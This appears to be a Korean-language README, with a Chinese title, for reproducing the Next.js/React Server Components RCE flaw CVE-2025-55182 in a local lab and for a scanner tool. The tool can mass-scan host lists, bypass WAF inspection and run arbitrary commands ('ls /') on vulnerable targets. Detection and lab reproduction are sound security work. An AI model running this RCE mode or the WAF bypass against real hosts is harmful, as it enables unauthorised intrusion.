
CVE-2025-55182复现环境及RCE回显poc
| 구성 요소 | 재현 권장 버전 | 취약한 버전 범위 |
|---|---|---|
| Node.js | >= 20.9.0 | 20.9.0 (LTS) 이상 |
| Next.js | 15.0.0 | 15.x, 16.x(App Router) |
| React Core | 19.0.0 또는 19.2.0 | 19.0.0 ~ 19.2.0 |
| RSC Bundler | react-server-dom-webpack | 19.0.0 ~ 19.2.0 |
강제로 낮은 버전 설치
cd cve-2025-55182-target
npm install --force
의존성 버전 확인
npm list react next
# 确认输出显示 [email protected] 和 [email protected]
최상위 종속성 목록에 [email protected] 및 [email protected]이 표시되면 환경이 취약한 상태로 성공적으로 고정된 것입니다. 여기의 경고 및 오류 코드는 무시해도 됩니다.
빌드:
npm run build
실행:
npm start
서버가 http://localhost:3000에서 수신 대기합니다. 환경이 설정되었으며, 취약점 검증을 시작할 수 있습니다.
취약점 탐지/스캔:
cd React2shell
python3.11 scanner.py -u http://127.0.0.1:3000/
RCE:
python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"


Next.js 애플리케이션에서 React Server Components를 사용하여 CVE-2025-55182 및 CVE-2025-66478을 탐지하는 명령줄 도구입니다.
취약점 및 탐지 방법론에 대한 기술적 세부 사항은 당사의 블로그 게시물을 참조하십시오: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
기본적으로 스캐너는 결정론적 수학 연산(41*271 = 11111)을 실행하는 RCE 개념 증명 페이로드가 포함된 조작된 multipart POST 요청을 전송합니다. 취약한 호스트는 X-Action-Redirect 응답 헤더에 결과를 /login?a=11111로 반환합니다.
스캐너는 먼저 루트 경로를 테스트합니다. 취약하지 않은 경우 동일 호스트 리디렉션(예: /에서 /en/)을 따라 리디렉션 대상을 테스트합니다. 교차 출처 리디렉션은 따르지 않습니다.
--safe-check 플래그는 대상에서 코드를 실행하지 않고 부채널 표시기(특정 오류 다이제스트가 있는 500 상태 코드)에 의존하는 대체 탐지 방법을 사용합니다. RCE 실행을 원하지 않는 경우 이 모드를 사용하십시오.
--waf-bypass 플래그는 multipart 요청 본문 앞에 임의의 정크 데이터를 추가합니다. 이는 요청 본문의 첫 번째 부분만 분석하는 WAF 콘텐츠 검사를 우회하는 데 도움이 될 수 있습니다. 기본 크기는 128KB이며 --waf-bypass-size를 통해 구성할 수 있습니다. WAF 우회가 활성화되면 시간 제한이 자동으로 20초로 증가합니다(명시적으로 설정하지 않은 경우).
--windows 플래그는 Windows에서 실행되는 대상에 대해 페이로드를 Unix 쉘(echo $((41*271)))에서 PowerShell(powershell -c "41*271")로 전환합니다.
pip install -r requirements.txt
단일 호스트 스캔:
python3 scanner.py -u https://example.com
호스트 목록 스캔:
python3 scanner.py -l hosts.txt
여러 스레드로 스캔하고 결과 저장:
python3 scanner.py -l hosts.txt -t 20 -o results.json
사용자 정의 헤더로 스캔:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
안전한 부채널 탐지 사용:
python3 scanner.py -u https://example.com --safe-check
Windows 대상 스캔:
python3 scanner.py -u https://example.com --windows
WAF 우회로 스캔:
python3 scanner.py -u https://example.com --waf-bypass
RCE
python3 scanner.py -u https://example.com -c "ls /"
-u, --url 확인할 단일 URL
-c, --cmd 실행할 명령어
-l, --list 호스트가 포함된 파일 (한 줄에 하나씩)
-t, --threads 동시 스레드 수 (기본값: 10)
--timeout 요청 시간 제한 (초) (기본값: 10)
-o, --output 결과 출력 파일 (JSON)
--all-results 취약한 호스트뿐만 아니라 모든 결과 저장
-k, --insecure SSL 인증서 검증 비활성화
-H, --header 사용자 정의 헤더 (여러 번 사용 가능)
-v, --verbose 취약한 호스트에 대한 응답 세부 정보 표시
-q, --quiet 취약한 호스트만 출력
--no-color 색상 출력 비활성화
--safe-check RCE PoC 대신 안전한 부채널 탐지 사용
--windows Unix 쉘 대신 Windows PowerShell 페이로드 사용
--waf-bypass WAF 콘텐츠 검사를 우회하기 위해 정크 데이터 추가
--waf-bypass-size 정크 데이터 크기 (KB) (기본값: 128)
RCE PoC는 원래 @maple3142가 공개했습니다. -- 작동하는 PoC를 공개해 주신 데 대해 매우 감사드립니다.
이 도구는 원래 RCE를 안전하게 탐지하는 방법으로 구축되었습니다. 이 기능은 --safe-check, "안전 탐지" 모드를 통해 계속 사용할 수 있습니다.
결과가 터미널에 출력됩니다. -o를 사용하면 취약한 호스트가 전체 HTTP 요청 및 응답이 포함된 JSON 파일에 저장되어 검증할 수 있습니다.